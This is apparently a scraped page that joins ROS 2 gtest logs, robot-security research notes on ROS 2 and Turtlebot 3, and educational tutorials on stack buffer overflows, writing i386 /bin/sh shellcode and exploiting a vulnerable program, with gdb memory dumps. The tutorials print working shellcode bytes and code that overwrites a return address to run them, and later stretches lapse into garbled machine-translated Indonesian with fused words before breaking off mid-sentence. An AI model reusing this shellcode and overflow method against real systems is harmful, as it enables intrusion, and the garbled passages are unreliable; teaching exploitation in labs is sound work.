[ RUN ] TestParameterEventFilter.full_by_type
[ OK ] TestParameterEventFilter.full_by_type (1 ms)
[ RUN ] TestParameterEventFilter.full_by_name
[ OK ] TestParameterEventFilter.full_by_name (1 ms)
[ RUN ] TestParameterEventFilter.empty
[ OK ] TestParameterEventFilter.empty (0 ms)
[ RUN ] TestParameterEventFilter.singular
[ OK ] TestParameterEventFilter.singular (0 ms)
[ RUN ] TestParameterEventFilter.multiple
[ OK ] TestParameterEventFilter.multiple (0 ms)
[ RUN ] TestParameterEventFilter.validate_data
[ OK ] TestParameterEventFilter.validate_data (0 ms)
[----------] 6 tests from TestParameterEventFilter (3 ms total)
[----------] Global test environment tear-down
[==========] 6 tests from 1 test case ran. (3 ms total)
[ PASSED ] 6 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 4 tests from 2 test cases.
[----------] Global test environment set-up.
[----------] 3 tests from TestSubscription
[ RUN ] TestSubscription.construction_and_destruction
[ OK ] TestSubscription.construction_and_destruction (67 ms)
[ RUN ] TestSubscription.various_creation_signatures
[ OK ] TestSubscription.various_creation_signatures (38 ms)
[ RUN ] TestSubscription.callback_bind
[ OK ] TestSubscription.callback_bind (136 ms)
[----------] 3 tests from TestSubscription (241 ms total)
[----------] 1 test from TestSubscriptionSub
[ RUN ] TestSubscriptionSub.construction_and_destruction
[ OK ] TestSubscriptionSub.construction_and_destruction (36 ms)
[----------] 1 test from TestSubscriptionSub (36 ms total)
[----------] Global test environment tear-down
[==========] 4 tests from 2 test cases ran. (298 ms total)
[ PASSED ] 4 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 7 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 7 tests from TestDuration
[ RUN ] TestDuration.operators
[ OK ] TestDuration.operators (0 ms)
[ RUN ] TestDuration.chrono_overloads
[ OK ] TestDuration.chrono_overloads (0 ms)
[ RUN ] TestDuration.overflows
[ OK ] TestDuration.overflows (0 ms)
[ RUN ] TestDuration.negative_duration
[ OK ] TestDuration.negative_duration (0 ms)
[ RUN ] TestDuration.maximum_duration
[ OK ] TestDuration.maximum_duration (0 ms)
[ RUN ] TestDuration.from_seconds
[ OK ] TestDuration.from_seconds (0 ms)
[ RUN ] TestDuration.std_chrono_constructors
[ OK ] TestDuration.std_chrono_constructors (0 ms)
[----------] 7 tests from TestDuration (1 ms total)
[----------] Global test environment tear-down
[==========] 7 tests from 1 test case ran. (2 ms total)
[ PASSED ] 7 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 4 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 4 tests from TestParameterClient
[ RUN ] TestParameterClient.async_construction_and_destruction
[ OK ] TestParameterClient.async_construction_and_destruction (117 ms)
[ RUN ] TestParameterClient.sync_construction_and_destruction
[ OK ] TestParameterClient.sync_construction_and_destruction (96 ms)
[ RUN ] TestParameterClient.async_parameter_event_subscription
[ OK ] TestParameterClient.async_parameter_event_subscription (61 ms)
[ RUN ] TestParameterClient.sync_parameter_event_subscription
[ OK ] TestParameterClient.sync_parameter_event_subscription (58 ms)
[----------] 4 tests from TestParameterClient (333 ms total)
[----------] Global test environment tear-down
[==========] 4 tests from 1 test case ran. (355 ms total)
[ PASSED ] 4 tests.
Running main() from gmock_main.cc
[==========] Running 7 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 7 tests from TestLoggingMacros
[ RUN ] TestLoggingMacros.test_logging_named
[ OK ] TestLoggingMacros.test_logging_named (0 ms)
[ RUN ] TestLoggingMacros.test_logging_string
[ OK ] TestLoggingMacros.test_logging_string (1 ms)
[ RUN ] TestLoggingMacros.test_logging_once
[ OK ] TestLoggingMacros.test_logging_once (0 ms)
[ RUN ] TestLoggingMacros.test_logging_expression
[ OK ] TestLoggingMacros.test_logging_expression (0 ms)
[ RUN ] TestLoggingMacros.test_logging_function
[ OK ] TestLoggingMacros.test_logging_function (0 ms)
[ RUN ] TestLoggingMacros.test_logging_skipfirst
[ OK ] TestLoggingMacros.test_logging_skipfirst (1 ms)
[ RUN ] TestLoggingMacros.test_log_from_node
[ OK ] TestLoggingMacros.test_log_from_node (0 ms)
[----------] 7 tests from TestLoggingMacros (2 ms total)
[----------] Global test environment tear-down
[==========] 7 tests from 1 test case ran. (3 ms total)
[ PASSED ] 7 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 2 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 2 tests from TestLogger
[ RUN ] TestLogger.factory_functions
[ OK ] TestLogger.factory_functions (0 ms)
[ RUN ] TestLogger.hierarchy
[ OK ] TestLogger.hierarchy (1 ms)
[----------] 2 tests from TestLogger (1 ms total)
[----------] Global test environment tear-down
[==========] 2 tests from 1 test case ran. (1 ms total)
[ PASSED ] 2 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 2 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 2 tests from TestExpandTopicOrServiceName
[ RUN ] TestExpandTopicOrServiceName.normal
[ OK ] TestExpandTopicOrServiceName.normal (1 ms)
[ RUN ] TestExpandTopicOrServiceName.exceptions
[ OK ] TestExpandTopicOrServiceName.exceptions (1 ms)
[----------] 2 tests from TestExpandTopicOrServiceName (2 ms total)
[----------] Global test environment tear-down
[==========] 2 tests from 1 test case ran. (3 ms total)
[ PASSED ] 2 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 1 test from 1 test case.
[----------] Global test environment set-up.
[----------] 1 test from TestInit
[ RUN ] TestInit.is_initialized
[ OK ] TestInit.is_initialized (29 ms)
[----------] 1 test from TestInit (29 ms total)
[----------] Global test environment tear-down
[==========] 1 test from 1 test case ran. (30 ms total)
[ PASSED ] 1 test.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 7 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 7 tests from TestGetNodeInterfaces
[ RUN ] TestGetNodeInterfaces.rclcpp_node_shared_ptr
[ OK ] TestGetNodeInterfaces.rclcpp_node_shared_ptr (0 ms)
[ RUN ] TestGetNodeInterfaces.node_shared_ptr
[ OK ] TestGetNodeInterfaces.node_shared_ptr (0 ms)
[ RUN ] TestGetNodeInterfaces.rclcpp_node_reference
[ OK ] TestGetNodeInterfaces.rclcpp_node_reference (0 ms)
[ RUN ] TestGetNodeInterfaces.node_reference
[ OK ] TestGetNodeInterfaces.node_reference (0 ms)
[ RUN ] TestGetNodeInterfaces.rclcpp_node_pointer
[ OK ] TestGetNodeInterfaces.rclcpp_node_pointer (0 ms)
[ RUN ] TestGetNodeInterfaces.node_pointer
[ OK ] TestGetNodeInterfaces.node_pointer (0 ms)
[ RUN ] TestGetNodeInterfaces.interface_shared_pointer
[ OK ] TestGetNodeInterfaces.interface_shared_pointer (0 ms)
[----------] 7 tests from TestGetNodeInterfaces (2 ms total)
[----------] Global test environment tear-down
[==========] 7 tests from 1 test case ran. (155 ms total)
[ PASSED ] 7 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 8 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 8 tests from TestMappedRingBuffer
[ RUN ] TestMappedRingBuffer.empty
[ OK ] TestMappedRingBuffer.empty (0 ms)
[ RUN ] TestMappedRingBuffer.temporary_l_value_with_shared_get_pop
[ OK ] TestMappedRingBuffer.temporary_l_value_with_shared_get_pop (0 ms)
[ RUN ] TestMappedRingBuffer.temporary_l_value_with_unique_get_pop
[ OK ] TestMappedRingBuffer.temporary_l_value_with_unique_get_pop (0 ms)
[ RUN ] TestMappedRingBuffer.nominal_push_shared_get_pop_shared
[ OK ] TestMappedRingBuffer.nominal_push_shared_get_pop_shared (0 ms)
[ RUN ] TestMappedRingBuffer.nominal_push_shared_get_pop_unique
[ OK ] TestMappedRingBuffer.nominal_push_shared_get_pop_unique (1 ms)
[ RUN ] TestMappedRingBuffer.nominal_push_unique_get_pop_unique
[ OK ] TestMappedRingBuffer.nominal_push_unique_get_pop_unique (0 ms)
[ RUN ] TestMappedRingBuffer.nominal_push_unique_get_pop_shared
[ OK ] TestMappedRingBuffer.nominal_push_unique_get_pop_shared (1 ms)
[ RUN ] TestMappedRingBuffer.non_unique_keys
[ OK ] TestMappedRingBuffer.non_unique_keys (0 ms)
[----------] 8 tests from TestMappedRingBuffer (4 ms total)
[----------] Global test environment tear-down
[==========] 8 tests from 1 test case ran. (5 ms total)
[ PASSED ] 8 tests.
Tidak dapat menemukan cara untuk mereproduksinya.
Pengintaian Jaringan dan KerentananPenggalian Sistem DDS yang Aman
https://arxiv.org/pdf/1908.05310.pdf
ROS2-SecTest https://github.com/aws-robotics/ROS2-SecTest
https://github.com/aws-robotics/ROS2-SecTest/tree/master/include/ros_sec_test/serangan
rclcpp, UBSAN: kesalahan waktu proses publisher_options https://github.com/aliasrobotics/RVD/issues/445
This might require to add support for ubsan in the tests. Accounting for the amount of time that this would require is hard beforehand.
Security and Performance Considerations in ROS 2: A Balancing Act
Potentially connected with Real-Time impact TODO: read, explore
Exception sending message over network https://github.com/ros2/rmw_fastrtps/issues/317
TODO: go through it and validate it.
Resources
https://yurichev.com/writings/UAL-EN.pdf as a great resource for assembly. Particularly, 1.30.2 for free/malloc
WIP: Tutorial 7: Analyzing Turtlebot 3
This tutorial will research the Turtlebot 3 or TB3 for short. A quick search shows that most of the official content of this robot is for ROS. ROS is completely vulnerable and it makes little sense to try and exploit it since prior research has already shown its vulnerability status. This work will instead focus on a ROS2-specific-TB3.
Background on SROS 2
Note https://ruffsl.github.io/IROS2018_SROS2_Tutorial/
SROS2 basics https://ruffsl.github.io/IROS2018_SROS2_Tutorial/content/slides/SROS2_Basics.pdf
https://github.com/ros2/sros2/blob/master/SROS2_Linux.md
Resources and exploring ROS 2 setup for TB3
The official manual Official e-manual of TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/
provides an entry point. More interesting that the overall manual is ROS 2 specific section in TB3 e-manual http://emanual.robotis.com/docs/en/platform/turtlebot3/ros2/
which is the ROS2 specific section. A few things of relevance: - Packages for the TB3 seem to be available at TB3 ROS 2 packages https://github.com/ROBOTIS-GIT/turtlebot3/tree/ros2
- Repos are available but don’t seem too filled: - https://github.com/ROBOTIS-GIT/turtlebot3/blob/ros2/turtlebot3.repos - https://github.com/ROBOTIS-GIT/turtlebot3/blob/ros2/turtlebot3_ci.repos
Searched for docker containers https://hub.docker.com/search?q=turtlebot3&type=image: - https://github.com/TheLurps/turtlebot3_docker seems not updated and ROS1 based - Found Ruffin’s work at https://github.com/ros-swg/turtlebot3_demo, this seems the best spot from where to start. It even has some security aspects configured which will help further investigate it.
Settling on https://github.com/ros-swg/turtlebot3_demo. It seems that this depends clearly on cartographer which is likely, another component for robots.
First steps, exploring turtlebot3_demo
Let’s start by cloning the repo and building it locally
git clone https://github.com/vmayoral/turtlebot3_demo
cd turtlebot3_demo
docker build . -t rosswg/turtlebot3_demo
then launch it in a Linux machine:
rocker --x11 rosswg/turtlebot3_demo:roscon19 "byobu -f configs/secure.conf attach"
Got myself familiar with the navigation of the environment https://github.com/vmayoral/turtlebot3_demo#running-the-demo. To scroll up/down one can use F7 + the arrow lines and then Enter to exit this environment.
Tried exploring the setup launching aztarna. Found that takes about 4 minutes. Let’s dive a bit more into reconnaissance.
Reconnaissance
Moved to Tutorial 3: Footprinting ROS 2 and DDS systems.
Resources
Robot exploitation
Buffer overflows
The objective of this tutorial is to show how buffer overflows can affect the behavior of a program. The typical memory layout of a program is as follows:
/------------------\ higher
| | memory
| | addresses
|------------------|
| |
| | Stack |
growth | | |
direction v |-.-.-.-.-.-.-.-.-.|
| |
| |
| |
| |
| |
|-.-.-.-.-.-.-.-.-.|
^ | |
growth | | Heap |
direction | | |
|------------------|
| Uninitialized |
| Data |
| (bss) |
|------------------|
| Initialized |
| Data |
|------------------|
| |
| Text | lower
| | memory
\------------------/ addresses
As described at http://insecure.org/stf/smashstack.html, a stack is an abstract data type frequently used in computer science to represent (likely) the most important technique for structuring programs, functions (or procedures). From one point of view, a function call alters the flow of control just as the jump instruction does, but unlike a jump, when finished performing its task, a function returns control to the statement or instruction following the call. This high-level abstraction is implemented with the help of the stack.
In this tutorial, we’ll be overflowing (aka, writing more than we should) a buffer in the stack to alter the behavior of a program. This will picture in a very simplistic way one of the main and most relevant problems in cybersecurity. Besides the use of the stack, the following registers are also of relevance:
(E)SP: the stack pointer, points to the last address on the stack (or to the next free available address after the stack in some implementations)
(E)BP, the frame pointer, facilitates access to local variables.
The code we will be using to picture the overflow is below:
0: void function(int a, int b, int c) {
1: char buffer1[5];
2: char buffer2[10];
3: int *ret;
4:
5: ret = buffer1 + 26;
6: (*ret) += 8;
7: }
8:
9: void main() {
a: int x;
b:
c: x = 0;
d: function(1,2,3);
e: x = 1;
f: printf("%d\n",x);
10: }
To facilitate reproducing this hack, a docker container has been built. The Dockerfile is available within this tutorial and can be built as follows:
Note: docker containers match the architecture of the host machine. For simplicity, the container will be built using a 32 bit architecture.
docker build -t basic_cybersecurity1:latest .
Now, run it:
docker run --privileged -it basic_cybersecurity1:latest
root@3c9eab7fde0b:~# ./overflow
0
Interestingly, the code jumps over line e:
e: x = 1;
And simply dumps in the standard output the initial and unmodified value of the x variable.
Let’s analyze the memory to understand why this is happening.
Analyzing the memory
The docker container has fetched a .gdbinit file which provides a nice environment wherein one can study the internals of the memory. Let’s see the state of the memory and registers at line 5: - esp: 0xffffd7c0 - ebp: 0xffffd7e8
0xffffd7c0 ff ff ff ff ee d7 ff ff 34 0c e3 f7 f3 72 e5 f7 ........4 ...r..
0xffffd7d0 00 00 00 00 00 00 c3 00 01 00 00 00 01 83 04 08 ................
0xffffd7e0 b8 d9 ff ff 2f 00 00 00 18 d8 ff ff d4 84 04 08 ..../...........
0xffffd7f0 01 00 00 00 02 00 00 00 03 00 00 00 ad 74 e5 f7 .............t..
The first observation is that the base pointer is at 0xffffd7e8 which means that the return address (from function) is 4 bytes after, in other words at 0xffffd7ec with a value of d4 84 04 08 according to the memory displayed above which transforms into 0x080484d4 with the right endianness.
From literature, the memory diagram of the stack is expected to be as follows:
bottom of top of
memory memory
ret buffer2 buffer1 ebp return a b c
<----- [ ][ ][ ][ ][0x080484d4][ ][ ][ ]
(growth)
top of bottom of
stack stack
However it’s not like this. Newer compilers (gcc), play tricks on the memory layout to prevent overflows and malicious attacks. In particular, the local variables have the following locations:
>>> p &buffer1
$1 = (char (*)[5]) 0xffffd7d2
>>> p &buffer2
$2 = (char (*)[10]) 0xffffd7d2
>>> p &ret
$3 = (int **) 0xffffd7cc
It’s interesting to note that both, buffer1 and buffer2 point to the same address. Likely, due to the fact that both variables aren’t used within the code.
Lines of code 5 and 6 aim to modify a value in the stack:
5: ret = buffer1 + 26;
6: (*ret) += 8;
Knowing that buffer1 = 0xffffd7d2 then ret will be:
>>> p 0xffffd7d2 + 26
$5 = 4294957036
Which in hexadecimal is 0xffffd7ec. Not surprisingly, this address is exactly the same as the one of the return address. Line 6 of code adds 8 to the value of the return address which results in a memory layout as follows (the change has been [highlighted]):
0xffffd7c0 ff ff ff ff ee d7 ff ff 34 0c e3 f7 ec d7 ff ff ........4 ......
0xffffd7d0 00 00 00 00 00 00 c3 00 01 00 00 00 00 8d 5a f7 ..............Z.
0xffffd7e0 b8 d9 ff ff 2f 00 00 00 18 d8 ff ff [dc 84 04 08] ..../...........
0xffffd7f0 01 00 00 00 02 00 00 00 03 00 00 00 ad 74 e5 f7 .............t..
To understand the rationale behind this, let’s look at the assembly code of the main function:
>>> disassemble main
Dump of assembler code for function main:
0x080484a7 <+0>: push %ebp
0x080484a8 <+1>: mov %esp,%ebp
0x080484aa <+3>: and $0xfffffff0,%esp
0x080484ad <+6>: sub $0x20,%esp
0x080484b0 <+9>: movl $0x0,0x1c(%esp)
0x080484b8 <+17>: movl $0x3,0x8(%esp)
0x080484c0 <+25>: movl $0x2,0x4(%esp)
0x080484c8 <+33>: movl $0x1,(%esp)
0x080484cf <+40>: call 0x804846d <function>
0x080484d4 <+45>: movl $0x1,0x1c(%esp)
0x080484dc <+53>: mov 0x1c(%esp),%eax
0x080484e0 <+57>: mov %eax,0x4(%esp)
0x080484e4 <+61>: movl $0x8048590,(%esp)
0x080484eb <+68>: call 0x8048330 <printf@plt>
0x080484f0 <+73>: leave
0x080484f1 <+74>: ret
End of assembler dump.
Note that in address 0x080484cf <+40> a call to function is produced and the return address 0x080484d4 (the address of the next assembly instruction) is pushed into the stack.
Putting all together, the overflow.c program is modifying the return address and adding 8 bytes pointing to 0x080484dc so that the instruction at 0x080484d4 (movl $0x1,0x1c(%esp)) is skipped which results in the program printing the initial value of variable x.
Resources
[1] M. Hicks (2014), ‘Software Security’, Coursera, Cybersecurity Specialization, University of Maryland, College Park, https://www.coursera.org/learn/software-security.
[2] CERN Computer Security Team (2018, February 12). Memory Layout of C Programs. Retrieved from https://security.web.cern.ch/security/recommendations/en/codetools/c.shtml.
[3] A. One (1996). Smashing the Stack for Fun and Profit. Phrack, 7. Retrieved from http://insecure.org/stf/smashstack.html.
[4] P. Bright (2015), How security flaws work: The buffer overflow. Retrieved from https://arstechnica.com/information-technology/2015/08/how-security-flaws-work-the-buffer-overflow/.
Building shellcode
The term shellcode is typically used to refer to that piece of code which allows to spawn a command line in the targeting system. This can be done from any process in execution provided it invokes the right call. This tutorial will focus on understanding a shellcode for i386 systems and how it’s typically used.
Note: as in previous tutorials, there’s a docker container that facilitates reproducing the work of this tutorial. The container can be built with:
docker build -t basic_cybersecurity2:latest .
and runned with:
docker run --privileged -it basic_cybersecurity2:latest
The code to spawn a shell in C looks like (shellcode.c):
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
executing, it clearly gives us a shell:
root@1406e08c64b9:~# ./shellcode
#
Reading through literature [2], one can summarize that this C program consist of the following steps in assembly:
Have the null terminated string “/bin/sh” somewhere in memory.
Have the address of the string “/bin/sh” somewhere in memory followed by a null long word.
Copy 0xb into the EAX register.
Copy the address of the address of the string “/bin/sh” into the EBX register.
Copy the address of the string “/bin/sh” into the ECX register.
Copy the address of the null long word into the EDX register.
Execute the int $0x80 instruction.
Copy 0x1 into the EAX register.
Copy 0x0 into the EBX register.
Execute the int $0x80 instruction.
From [3], we can put together the following complete program assembled together in C (shellcodeasm.c):
void main() {
__asm__(" \
xor %eax, %eax; \
xor %edx, %edx; \
movb $11, %al; \
push %edx; \
push $0x68732f6e; \
push $0x69622f2f; \
mov %esp, %ebx; \
push %edx; \
push %ebx; \
mov %esp, %ecx; \
int $0x80; \
movl $0x1, %eax; \
movl $0x0, %ebx; \
int $0x80;");
}
executing, it clearly gives us a shell:
root@1406e08c64b9:~# ./shellcodeasm
#
and disassembling it, we obtain the same (plus the corresponding instructions for the stack management at the beginning and end):
>>> disassemble main
Dump of assembler code for function main:
0x080483ed <+0>: push %ebp
0x080483ee <+1>: mov %esp,%ebp
0x080483f0 <+3>: xor %eax,%eax
0x080483f2 <+5>: xor %edx,%edx
0x080483f4 <+7>: mov $0xb,%al
0x080483f6 <+9>: push %edx
0x080483f7 <+10>: push $0x68732f6e
0x080483fc <+15>: push $0x69622f2f
0x08048401 <+20>: mov %esp,%ebx
0x08048403 <+22>: push %edx
0x08048404 <+23>: push %ebx
0x08048405 <+24>: mov %esp,%ecx
0x08048407 <+26>: int $0x80
0x08048409 <+28>: mov $0x1,%eax
0x0804840e <+33>: mov $0x0,%ebx
0x08048413 <+38>: int $0x80
0x08048415 <+40>: pop %ebp
0x08048416 <+41>: ret
End of assembler dump.
Now, a more compact version of the shellcode can be obtained by fetching the hexadecimal representation of all those assembly instructions above which can be obtained by directly looking at the memory:
>>> x/37bx 0x080483f0
0x80483f0 <main+3>: 0x31 0xc0 0x31 0xd2 0xb0 0x0b 0x52 0x68
0x80483f8 <main+11>: 0x6e 0x2f 0x73 0x68 0x68 0x2f 0x2f 0x62
0x8048400 <main+19>: 0x69 0x89 0xe3 0x52 0x53 0x89 0xe1 0xcd
0x8048408 <main+27>: 0x80 0xb8 0x01 0x00 0x00 0x00 0xbb 0x00
0x8048410 <main+35>: 0x00 0x00 0x00 0xcd 0x80
a total of 37 bytes of shellcode. Let’s try it out:
char shellcode[] =
"\x31\xc0\x31\xd2\xb0\x0b\x52\x68"
"\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\xcd"
"\x80\xb8\x01\x00\x00\x00\xbb\x00"
"\x00\x00\x00\xcd\x80";
void main() {
int *ret; // a variable that will hold the return address in the stack
ret = (int *)&ret + 2; // obtain the return address from the stack
(*ret) = (int)shellcode; // point the return address to the shellcode
}
Code is self-explanatory, a local variable ret gets pointed to the return address which later gets modified to point at the global variable shellcode which contains the previously derived shell code. To make this work in a simple manner, we will disable gcc’s stack protection mechanism producing:
root@51b56809b3b6:~# ./test_shellcode
#
Resources
[1] M. Hicks (2014), Software Security, Coursera, Cybersecurity Specialization, University of Maryland, College Park, https://www.coursera.org/learn/software-security.
[2] A. One (1996), Smashing the Stack for Fun and Profit. Phrack, 7. Retrieved from http://insecure.org/stf/smashstack.html.
[3] P. Clement (2011), execve(“/bin//sh”, [“/bin//sh”], NULL) - Linux elf32-i386. Retrieved from https://blog.thireus.com/execvebinsh-binsh-null/
Exploiting
In this tutorial we’ll review how to proceed with a buffer overflow and exploit it.
Content is heavily based on [1]:
Note: as in previous tutorials, there’s a docker container that facilitates reproducing the work of this tutorial. The container can be built with:
docker build -t basic_cybersecurity3:latest .
and run with:
docker run --privileged -it basic_cybersecurity3:latest
We’ll be using two binaries vulnerable (the vulnerable program which takes a parameter) and exploit2, a program that takes as a parameter a buffer size, and an offset from its own stack pointer (where we believe the buffer we want to overflow may live).
An introduction to exploit2 is provided at [2]. They way things work in a simple way is, exploit2 launches pushes the content of buff to an environmental variable called EGG and just afterwards, launches a shell with this environmental variable active. Within the shell, we launch vulnerable and use $EGG as a parameter. The trick here is that when constructing buff in exploit2, we obtain the stack pointer (esp in i386) of that binary and substract an arbitrary number we define from it to obtain the address that will be written after the shellcode. This way, we end up with something like this in the heap (note that buff lives in the heap):
/----------------------\ lower
| shellcode | memory
| | addresses
|----------------------|
| |
| | esp - arbitrary num. |
growth | | |
direction v |-.-.-.-.-.-.-.-.-.-.-.|
| |
| esp - arbitrary num. |
| |
|-.-.-.-.-.-.-.-.-.-.-.|
| |
| esp - arbitrary num. |
| |
|-.-.-.-.-.-.-.-.-.-.-.|
...
As pointed out, this content gets pushed to the environmental variable EGG.
Now, when we launch a shell and subsequently, launch vulnerable within the shell our stack is growing as follows:
/------------------\ higher
| | memory
| | addresses
|------------------|
| |
| | Stack exploit2 | esp = 0xffffd740
growth | | |
direction v |-.-.-.-.-.-.-.-.-.|
| |
| Stack bash | esp = 0xffffd5a8
| |
|-.-.-.-.-.-.-.-.-.|
| |
| Stack vulnerable | esp = 0xffffd0c0
| |
|-.-.-.-.-.-.-.-.-.|
| |
| ... |
| |
|------------------|
Catatan: Angka-angka ini hanya akan muncul saat menjalankan setiap biner dengan GDB. Jika tidak, penunjuk tumpukan exploit2akan muncul dengan nilai-nilai aneh seperti 0xffde5688dan seterusnya.
Hal ini memberi tahu kita bahwa dengan melakukan perhitungan matematika sederhana, 0xffffd740 - 0xffffd0c0 = 1664kita dapat mengetahui alamat offset yang dibutuhkan. Dengan kata lain, jika kita mengurangi nilai 1664, kita dapat menunjuk ke bit dari stack pointer dan melakukan apa saja yang kita inginkan jika kita melimpahi buffer .espexploit2vulnerablebuffervulnerable
Catatan: untuk beberapa alasan, angka yang dibutuhkan untuk mendapatkan alamat yang tepat di tumpukan bukanlah 1664 tetapi 8 bit lebih sedikit: 1656. Tidak yakin mengapa.
Kita dapat memeriksa ulang hal ini dengan mencetak memori buffdan buffersaat melakukan debugging exploit2dan vulnerablemasing-masing:
pwndbg> p buff
$1 = 0x804b008 "EGG=\353\037^\211v\b1\300\210F\a"...
pwndbg> x/100wx 0x0804b008
0x804b008: 0x3d474745 0x895e1feb 0xc0310876 0x89074688
0x804b018: 0x0bb00c46 0x4e8df389 0x0c568d08 0xdb3180cd
0x804b028: 0xcd40d889 0xffdce880 0x622fffff 0x732f6e69
0x804b038: 0xffffd068 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b048: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b058: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b068: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b078: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b088: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b098: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b0a8: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b0b8: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b0c8: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b0d8: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b0e8: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b0f8: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b108: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b118: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b128: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b138: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b148: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b158: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b168: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b178: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0x804b188: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
pwndbg> p argv[1]
$3 = 0xffffd493 "\353\037^\211v\b1\300\210F\a\211F\f\260"..
pwndbg> x/100wx 0xffffd493
0xffffd493: 0x895e1feb 0xc0310876 0x89074688 0x0bb00c46
0xffffd4a3: 0x4e8df389 0x0c568d08 0xdb3180cd 0xcd40d889
0xffffd4b3: 0xffdce880 0x622fffff 0x732f6e69 0xffffd068
0xffffd4c3: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd4d3: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd4e3: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd4f3: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd503: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd513: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd523: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd533: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd543: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd553: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd563: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd573: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd583: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd593: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd5a3: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd5b3: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd5c3: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd5d3: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd5e3: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd5f3: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd603: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
0xffffd613: 0xffffd0c0 0xffffd0c0 0xffffd0c0 0xffffd0c0
Catatan: 4 bit pertama dari dump exploit2tidak cocok karena sesuai dengan string “EGG=”
Perhatikan bahwa 0xffffd0c0ditambahkan setelah shellcode yang bertujuan untuk menimpa alamat pengembalian untuk vulnerablemelompat ke awal penunjuk tumpukan espyang merupakan tempat buffer yang meluap dimulai yang merupakan malici
Sebelum instruksi berikut di vulnerable:
5 strcpy(buffer,argv[1]);
isi dari bufferseharusnya adalah:
pwndbg> p &buffer
$2 = (char (*)[512]) 0xffffd0c0
pwndbg> x/100wx 0xffffd0c0 # similar to "x/100wx &buffer"
0xffffd0c0: 0x00000070 0xf7feff96 0xf7fe933d 0xf7fe1f60
0xffffd0d0: 0xf7fd8241 0xf7f6d298 0xf7ffd53c 0xf7fe4017
0xffffd0e0: 0xf7ffc000 0x00001000 0x00000001 0x03ae75f6
